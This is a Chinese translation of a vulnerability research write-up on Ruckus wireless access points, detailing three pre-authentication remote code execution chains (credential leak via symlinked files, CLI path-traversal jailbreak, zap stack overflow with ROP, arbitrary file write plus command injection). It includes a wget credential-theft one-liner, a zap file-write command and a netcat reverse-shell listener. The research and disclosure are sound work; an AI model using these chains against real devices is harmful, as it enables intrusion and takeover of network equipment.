导语:Ruckus Networks是一家销售有线和无线网络设备及软件的公司,本文介绍了在Ruckus接入点上的漏洞研究,它导致了3种不同的预认证远程代码执行漏洞。
0x01 介绍
Ruckus Networks是一家销售有线和无线网络设备及软件的公司,本文介绍了在Ruckus接入点上的漏洞研究,它导致了3种不同的预认证远程代码执行漏洞。利用各种漏洞,例如信息和凭据泄漏,身份验证绕过,命令注入,路径遍历,堆栈溢出和任意文件读/写。在整个研究过程中,检查了33个不同访问点的固件。全部被发现存在漏洞,本文还会介绍并共享本研究中使用的框架。包含一个Ghidra脚本和一个dockerized QEMU完整系统仿真,可实现简单的跨体系结构研究设置。
这项研究是在参加“ BlackHat USA 2019”之后开始的。注意到Ruckus无线接入点提供了访客WiFi。本文重点介绍“ R510”访问点。但是,认为运行固件版本200.7.10.102.64及以下的Ruckus的所有室内和室外AP都容易受到以下漏洞的影响。检查了C110,E510,H320,H510,M510,R310,R500,R510 R600,R610,R710,R720,T300,T301n,T310d,T610,T710和T710s。一些漏洞也会影响ZoneDirector 1200(10.1.1.0.55)。使用“ shodan.io”对某些设备进行了指纹识别,注意到可以从Internet访问数千个设备。
0x02 固件分析
嵌入式设备漏洞研究,从下载最新固件开始。决定专注于研究使用ARMv7 CPU架构的“ R510 Unleashed”。Ruckus提供依赖WiFi控制器的常规WiFi接入点以及不依赖控制器的“ Unleashed”版本。
Dockerized QEMU:
提取固件后,决定在QEMU中模拟固件的二进制文件。这项研究完全是通过系统仿真完成的,在发现三个漏洞后,才购买R510设备。在此dockerhub中,获得了针对以下架构的预构建QEMU系统:armv7,armv6,mips和mipsel。在本研究中,使用了一个包装了运行Debian内核的ARMv7 QEMU系统的docker。使用此设置,设法运行了大多数用户空间代码。
所需要做的就是运行docker:
docker run -it -p 5575:5575 waveburst/qemu-system-armhf
容器包括一个SSH服务器,因此squashfs可以将chroot从固件提取的目录复制到的QEMU中。
完成后,在5分钟内得到了chroot的设备仿真。
Web服务器配置:
R510使用“ Embedthis-Appweb / 3.4.2”作为其Web界面服务器。其默认配置位于上/bin/webs.conf,查看配置文件后,发现服务器的根目录为/web。还可以看到服务器端逻辑使用ejs处理程序。ejs是嵌入式JavaScript引擎,此外,了解到文件获取没有任何限制。这意味着可以从/web目录中获取任何文件,而不管其文件扩展名或类型如何。接下来,想查看/web目录,看看是否有任何有趣的文件可以检索。
0x03 攻击场景1
此攻击情形包括Web界面凭据泄露漏洞(CVE-2019-19843)和CLI越狱漏洞(CVE-2019-19834),以在访问点上获取root shell。
服务器Web目录:CVE-2019-19837
该/web目录包含大量的文件和目录。其中大多数是标准的html / js / css / images文件,但也有很多带有jsp和mod扩展名的文件。由于某种原因,jsp是代表ejs源文件和mod代表已编译ejs文件的扩展名。稍后演示,不一定需要mod文件来运行ejs功能。除了这些文件之外,还有指向不同文件和目录的符号链接。由于没有访问控制,因此这些链接文件都是可提取的!
➜ web ls -ld `find . -type l| grep -v "css\|js\|jpg\|ico\|png\|gif\|mod\|jsp"` lrwxrwxrwx 1 wave wave 27 Apr 15 2019 ./tmp/temp_banner -> /tmp/uploadguestbanner_file lrwxrwxrwx 1 wave wave 28 Apr 15 2019 ./tmp/temp_bgimage -> /tmp/uploadguestbgimage_file lrwxrwxrwx 1 wave wave 18 Apr 15 2019 ./tmp/temp_debug -> /tmp/my_debug_file lrwxrwxrwx 1 wave wave 25 Apr 15 2019 ./tmp/temp_logo -> /tmp/uploadguestlogo_file lrwxrwxrwx 1 wave wave 19 Apr 15 2019 ./tmp/temp_map -> /tmp/uploadmap_file lrwxrwxrwx 1 wave wave 26 Apr 15 2019 ./tmp/temp_weblogo -> /tmp/uploadguestlogo_file2 lrwxrwxrwx 1 wave wave 24 Apr 15 2019 ./uploaded -> /etc/airespider/uploaded lrwxrwxrwx 1 wave wave 21 Apr 15 2019 ./user/upgrade_progress -> /tmp/upgrade_progress lrwxrwxrwx 1 wave wave 4 Apr 15 2019 ./user/wps_tool_cache -> /tmp lrwxrwxrwx 1 wave wave 33 Apr 15 2019 ./wpad.dat -> /etc/airespider/uploaded/wpad.dat
指向符号/tmp的链接:CVE-2019-19843
上面的命令向显示了从目录/web/user/wps_tool_cache到/tmp目录的符号链接。由于在完整的QEMU系统中运行R510,因此注意到/tmp目录中存储了一些系统逻辑。特别rpm.log是将其编写为系统初始化的一部分,在检查此日志文件时,注意到每天都rpmd创建一个名为/var/run/rpmkey新版本号的备份文件。
幸运的是,/var/run它也象征性地链接到/tmp/,因此也可以获取此文件。rpmkey包含一些二进制数据。为了检查其内容,使用了strings命令。strings输出显示了两个有趣的字段:all_powerful_login_name和all_powerful_login_password。这些是设备的明文管理员凭证,rpmkey版本号存储在/var/run/rpmkey.rev中。这帮助编写了一个bash代码来检索设备的凭据:
➜ demo num=$(wget -q -O - 192.168.0.1/user/wps_tool_cache/var/run/rpmkey.rev);\ wget -q -O - 192.168.0.1/user/wps_tool_cache/var/run/rpmkey$num|\ strings|grep -A 1 all_powerful_login all_powerful_login_name admin all_powerful_login_password mooncake
CLI越狱漏洞:CVE-2019-19834
由于可以获取管理员凭据,busybox下一步是弹出一个shell。固件包括dropbear可执行文件。有了管理员凭据,可以从Web界面启用它(如果尚未启用)。该dropbear服务器使用相同的凭据作为Web界面。但是,它运行一个替代shell二进制文件的ruckus_cli2,但是无法让它运行任何命令。用Ghidra分析此二进制文件后发现有一个隐藏的命令!v54!,,该命令应弹出一个busyboxshell。
但是,!v54!命令需要设备的序列号。由于不一定知道此序列号,因此需要其他方法。ruckus_cli2支持有限的脚本环境,该环境可以运行一些已保存的Shell脚本。该exec命令通过execve使用给定路径调用系统调用来运行脚本。但是,该exec命令易受路径遍历的影响,可用于弹出busybox shell:
这是获取此AP权限的第一种方法。
0x04 Web界面分析:
重要二进制文件:
下一步是了解Web界面背后的实现,并查找一些错误,使用Ghidra进行一些二进制反编译。
以下二进制文件监视Web界面逻辑:
· /bin/webs-“ Embedthis-Appweb” Web服务器,用于处理HTTP / S请求并根据其配置执行处理程序,它通过Unix域套接字将命令发送到emfd。
· /bin/emfd-包含Web界面逻辑的可执行文件,它将jsa页面中的功能映射到其功能。它实现了Web界面命令,例如备份,网络/防火墙配置,系统信息检索等。
· /usr/lib/libemf.so-该emfd库用于Web身份验证。
检索函数名称:
Ruckus在二进制文件的已编译代码中保留了详细的日志字符串,左侧的日志字符串适用于所有级别(INFO / WARN / ERROR / DEBUG),它们还包含打印日志行的函数名称。
由于有了Ghidra脚本环境,可以搜索这些日志字符串并提取相关的函数名称。然后,可以使用找到的默认函数名称重命名。
在这种emfd情况下,它将“未命名”函数的数量从1505减少到874,减少了近50%。
注意:在日志文件中保留敏感信息通常是一个常见错误,尤其是在嵌入式设备中,可以在不同的二进制文件上运行并搜索函数名称模式,该脚本在许多项目中可能有用,可以在的github上找到
emfd` 函数映射:
当emfd启动时,它的函数名字符串映射到函数指针。Web服务器使用ejs处理程序来调用中的函数emfd。ejs调用函数的语法为Delegate()或DelegateAsyn()。例如,/admin/_updateGuestImageName.jsp运行的ejs处理程序(_updateGuestImageName.jsp)的请求:
➜ web cat ./admin/_updateGuestImageName.jsp "; console.log(dd); " _ue_custom_node_="true">
0x05 Web服务器身份验证机制:
Web界面支持4个权限级别:admin,fmuser,user和guest。emfd的作用是强制执行这些权限。成功请求jsa使用Delegate() call进行用户身份验证的页面后,将创建会话。
➜ web grep -nr --include \*login\*.jsp Auth .|grep Delegate ./admin/login.jsp:25: Delegate("AuthAdmin", session['cid'], params["username"], params["password"]); ./admin/fmlogin.jsp:18: Delegate("AuthFM", params["password"], isAdmin,params["fm_user"]); ./user/user_login_web.jsp:47: Delegate("AuthUser", session['cid'], params["username"], params["password"], task, params['email'], params['user'], params['ssid']); ./user/user_login_web.jsp:49: Delegate("AuthUser", session['cid'], params["username"], params["password"], task); ./user/user_login.jsp:41: Delegate("AuthUser", session['cid'], params["username"], params["password"], task, params['email'], params['user'], params['ssid']); ./user/user_login.jsp:43: Delegate("AuthUser", session['cid'], params["username"], params["password"], task); ./user/guest_login.jsp:13: Delegate("AuthGuest", cookie, params['key'], '', redirecturl); ./user/oauth_login.jsp:18:Delegate("OAuthGetLogin", state); ./user/oauth_login2.jsp:4:Delegate("RedirectToOAuthServer", oauth_id,redirecturl); ./uam/_login.jsp:76:Delegate("AuthHotspotUser", cid, username, password, ip, task); ./selfguestpass/login.jsp:13: Delegate("AuthGuest", cookie, params['key'], '', redirecturl);
会话检查机制:
如果特定jsa页面需要身份验证,则页面会验证会话的有效性。每个jsa页面都使用或Delegate()调用,以相应地检查会话是否已通过身份验证或被视为访客。如果不存在此类调用,则此页面调用的任何功能都不需要身份验证。在以下漏洞利用中,SessionCheck``GuestSessionCheck``Delegate()``jsa试图避免任何身份验证或访客访问。
Grep未经身份验证的函数:
使用该grep命令来检查哪些jsa页面不需要经过身份验证的会话。
➜ web grep -l Delegate $(grep -L -nr -m1 --include \*.jsp Check .)|wc -l 67
有67个jsa页面未执行任何会话验证。接下来,要检查调用了什么Delegate()函数。
➜ web grep Delegate $(grep -L -nr -m1 --include \*.jsp Check .)|\ cut -f2 -d"("| awk -F"\)|," '{ print $1 }'|sort|uniq "AjaxRestrictedCmdStat" 'AllowClient' 'AllowClientTmp' "AuthExternUser" "AuthFM" "AuthGuest" "AuthHotspotUser" "AuthUser" "ChangeSponsorEmail" "Cluster" "Download" "DownloadProv" 'FillPageVars' "FillPageVars" "GetApprovalList" "GetDeviceList" 'GetLogo' 'GetSelfServiceTOU' "GetSocialDefaultUrl" "LogoutAdmin" "LogoutHotspotUser" "OAuthGetLogin" "PassOnborading" "QueryApprovalStatus" "RecoveryGuestPass" "RedirectToOAuthServer" "RejectDevice" 'SmartClientOnly' 'TOU' "UpdateUserContact" 'UploadVerify' "UserRegistration" "WechatGetLogin"
AjaxRestrictedCmdStat()的作用是反转字符串。
0x06 攻击场景2:
此攻击情形包括zap可执行文件(CVE-2019-19843)中的堆栈缓冲区溢出。通过将未经身份验证的HTTP请求发送到Web界面(CVE-2019-19836),可以利用此漏洞。
Ajax请求结构:
由于在QEMU完整系统仿真中运行设备,因此可以拦截发送到Web界面的Ajax请求。它帮助了解了XML结构,看一下/admin/_cmdstat.jsp请求正文:
comp告诉emfd要使用的适配器,适配器是emfd逻辑块,启动过程中会注册所有受支持的适配器。
action-设置要用于给定适配器的函数,每个适配器定义其支持的操作。操作可能需要更多属性或子节点。在action=docmd的示例中, xcmd既作为属性又作为子注释。
updater-包含带有时间戳的适配器名称。
AjaxRestrictedCmdStat():
Ghdira中的函数表明,属性xcmd='wc'和comp='zapd',如果请求有效,则将其传递给AjaxCmdStat()。AjaxCmdStat()处理所有的Ajax逻辑。它用于adapter_doCommand()将请求传递给doCommand()的函数。
doCommand():
doCommand()根据请求中的信息执行不同的命令。该属性cmd描述要运行的函数。有了AjaxRestrictedCmdStat(),只能传递wc给doCommand()。该wc命令需要额外的属性- ,wcid,tool,server,client和zap-type。如果得到所有这些,它将调用shell程序脚本以执行zap命令,一些属性必须匹配特定值才能运行命令,可以将任意长度的任何字符串传递给zap命令。
注意:zapSSRF也容易受到攻击,因为它会将流量发送到给定的任何IP地址,CVE-2019-19835。
zap
幸运的是,zap源代码可在线获得。在其文档中,被描述为“强大网络性能测试工具”。检查中的代码可以zap.c发现在“ -D”参数解析中包含堆栈溢出漏洞。
case 'D': // int len = strlen(debug_line); for ( j = 2; j < ( int )strlen( argv[i] ); j++ ) { if ( argv[i][j] == ',' ) { argv[i][j] = ' '; } } /*Get debug file name*/ for ( j = 0; j < ( int )strlen( argv[i] ); j++ ) { if ( argv[i][j] == ' ' ) { config->debugfile = (char*)malloc(j * sizeof(char)); strncpy(config->debugfile, argv[i] + 2, j-2); config->debugfile[j-2] = '\0'; break; } } /*Get the start point*/ printf("%s\n", argv[i]); for ( k = j+1; k < ( int )strlen( argv[i] ); k++ ) { if ( argv[i][k] == ' ' ) { char temp[10]; printf("%s\nlen: %d-%d=%d\n", argv[i]+j,k,j, k-j); strncpy(temp, argv[i]+j, k-j); value = atoi(temp); } } /*Get end point*/ for ( k = j+1; k < ( int )strlen( argv[i] ); k++ ) { if ( argv[i][k] == ' ' ) { printf("%s\n",&argv[i][k+1]); if ( sscanf( &argv[i][k+1], "%d", &stop_value ) != 1 ) { // Bad scan.. return 1; } } } break;
这是解析“ -D”参数的代码,看看它的作用。首先,它将所有逗号替换为空格。然后,它将每个段复制到临时缓冲区。输入数字,所以它使用很小的缓冲区。尝试使用strncpy来保护代码。但是,它使用整个字符串长度作为n。因此,不能保护此字符串副本,因此会破坏堆栈。
由于控制着zap的参数,因此可以传递一个原始参数,然后是带有有效载荷溢出的“ -D”。
堆栈溢出漏洞利用:CVE-2019-19840
R510在启用了NX和ASLR的ARMv7体系结构上运行。为了绕过NX,使用ROP gadgets。
POST /tools/_cmdstat.jsp HTTP/1.1 Content-Type: application/x-www-form-urlencoded charset=UTF-8 Content-Length: 473
两个gadgets都在libc中找到:
· gadgets1-sub sp,fp,#0x14; pop{r4,r5,r6,r7,fp,pc}
· gadgets2-mov r0,r4; pop{r4,pc}
· system()
至于ASLR-由于zap是由emfd分叉的,因此使用了暴力破解方法绕过9位随机数字。
这是获得此R510 AP权限的第二种方法。
0x07 攻击场景3:
此攻击情形包括使用zap可执行文件(CVE-2019-19836)的任意文件写。它可以创建jsp不需要身份验证并且容易受到命令注入攻击的新页面(CVE-2019-19838,CVE-2019-19839,CVE-2019-19841,CVE-2019-19842)。
命令注入:
了解emfd如何执行shell命令。emfd使用6个不同的函数来执行Shell命令。其中一些直接调用libc中的函数,例如system(),popen()和execve()。其他则调用运行shell脚本处理程序,Shell执行调用的这种多样性表明,例如命令注入之类的漏洞可能是可行的。
从以上函数来看,system()是最容易利用的函数。它似乎也具有较高的参考计数(107)。接下来的目标是找到一个system()可以控制其参数的函数。以下是满足此条件的4个函数:cmdSpectraAnalysis()CVE-2019-19842,cmdImportAvpPort()CVE-2019-19838,cmdImportCatagory()CVE-2019-19839和cmdPacketCapture()CVE-2019-19841。所有这4个函数都可以doCommand()通过via 进行访问。
但是,它们都取决于/admin/_cmdstat.jsp页面请求,此页面检查会话身份验证。
➜ squashfs-root cat web/admin/_cmdstat.jsp
如果会话有效,则所有4个函数都会受到攻击。
反编译该uploadFile属性是从请求XML中获取的,并且command无需进行插入即可插入变量中。任何命令注入payload都可以执行。
POST /tools/_cmdstat.jsp HTTP/1.1 Content-Type: application/x-www-form-urlencoded charset=UTF-8 X-CSRF-Token: oaMM8EBv1Y Content-Length: 225 Cookie: -ejs-session-=x236a14bd195e0f136942005c785bac52
需要有效的cookie和CSRF令牌,想克服这种认证要求。如果可以编写一个Delegate("AjaxCmdStat", session["cid"]);无需条件或会话检查即可调用的新页面,那么它将满足要求。要编写此类页面,需要一个任意的文件写漏洞,并需要一个可写目录才能写入/web。
任意文件写入:
从第二种情况中发现,可以将不需要的参数传递给zap可执行文件,而无需进行身份验证。该参数-L指示zap在何处写入其日志文件,并且没有路径限制。因此,可以将文件写入所需的任何位置。但是仍然不能完全控制内容。。观察一下zap_pkg_drop_dump_file()在zap.c写入日志文件。看起来像这样:
fileio = fopen( config->logfile, "r" ); if ( !fileio ) { new_file = 1; } else { new_file = 0; fclose( fileio ); } fileio = fopen( config->logfile, "a+" ); if ( !fileio ) { fprintf( stderr, "Error, file probably open by another application.\n" ); return 1; } // Dump package drop information. if ( new_file ) { // If a new file, make the first row have text tags for all the columns fprintf( fileio, "Zap Version%c", delimit ); fprintf( fileio, "Filename%c", delimit ); fprintf( fileio, "Protocol%c", delimit ); fprintf( fileio, "Invert Open%c", delimit ); fprintf( fileio, "Tx IP%c", delimit ); fprintf( fileio, "Rx IP%c", delimit ); fprintf( fileio, "Multicast%c", delimit ); fprintf( fileio, "ToS%c", delimit ); fprintf( fileio, "Samples%c", delimit ); fprintf( fileio, "Sample Size%c", delimit ); fprintf( fileio, "Payload Length%c", delimit ); fprintf( fileio, "Payload Transmit Delay%c", delimit ); fprintf( fileio, "Payloads Received%c", delimit ); fprintf( fileio, "Payloads Dropped%c", delimit ); fprintf( fileio, "Payloads Repeated%c", delimit ); fprintf( fileio, "Payloads Outoforder%c", delimit ); fprintf( fileio, "Date%c", delimit ); fprintf( fileio, "Notes%c", delimit ); fprintf( fileio, "Tag%c", delimit ); fprintf( fileio, "Sub Tag%c", delimit ); fprintf( fileio, "\n" ); }
config->note,config->tag,和config->sub是设定参数-N,-T和-S。可以用同样的方法来传递-T,-S。
zap -s192.168.0.1 -d192.168.0.2 -R -L/web/uploaded/index.jsp -T -X14 -q0xa0 -p50000 -l65444
zap仅当它创建与zapd服务器的成功连接时才写入日志文件。这意味着必须创建一个zapd响应的服务器zap。幸运的是,zapd.c资源也可以在线获得,已经成功地对其进行了编译。设置好zap``zapd服务器后,可以写一个页面:
可写目录:
最后,必须找到一个可写目录/web。由于/web是squashfs文件系统的一部分,因此它是只读目录。幸运的是,可以写到/web/uploaded`。
➜ squashfs-root ls -lath web/uploaded lrwxrwxrwx 1 wave wave 24 Apr 15 2019 web/uploaded -> /etc/airespider/uploaded ➜ squashfs-root ls -lath etc/airespider lrwxrwxrwx 1 wave wave 24 Apr 15 2019 etc/airespider -> /writable/etc/airespider
页面写:
最后,拥有将所需的所有内容编写jsp到Web界面的新页面。该页面包含ejs对的命令注入漏洞函数的调用。如本文前面所述,即使每个jsp页面都有一个相关mod文件,也不需要获取ejs处理程序来执行该jsa页面。现在可以在/uploaded/index.jsp写入。
POST /tools/_rcmdstat.jsp HTTP/1.1 Content-Type: application/x-www-form-urlencoded charset=UTF-8 Content-Length: 304
此请求将导致以下页面创建:
ruckus$ cat /web/uploaded/index.jsp Zap Version,Filename,Protocol,Invert Open,Tx IP,Rx IP,Multicast,ToS,Samples,Sample Size,Payload Length,Payload Transmit Delay,Payloads Received,Payloads Dropped,Payloads Repeated,Payloads Outoforder,Date,Notes,Tag,Sub Tag, 1.83.19,/web/uploaded/index.jsp,udp,Off,192.168.0.2:192.168.0.2,192.168.0.1:192.168.0.1,Off,A0h,1000000,100,65444,1,92,7,0,0,Fri Mar 15 17:09:04 2019,,,
剩下的就是发送命令注入到 /uploaded/index.jsp:
POST /uploaded/index.jsp HTTP/1.1 Content-Type: application/x-www-form-urlencoded charset=UTF-8 Content-Length: 261
监听反向shell:
➜ squashfs-root nc -vlp 4444 Listening on [0.0.0.0] (family 0, port 4444) Connection from 192.168.0.1 49117 received! echo $USER root
这是获得此AP权限的第三种方式。
0x08 学习结论:
此漏洞研究非常令人兴奋,涉及各种不同的漏洞,将其中的一些漏洞链接在一起虽然具有挑战性,但却很有用。这项研究也是学习docker仿真环境的绝佳机会。事实证明,这也非常有用。Ruckus Wireless已被告知有关这些漏洞的信息。Ruckus Unleashed AP 200.7.10.202.92上的漏洞已经被修复。
本文翻译自:https://alephsecurity.com/2020/01/14/ruckus-wireless/如若转载,请注明原文地址: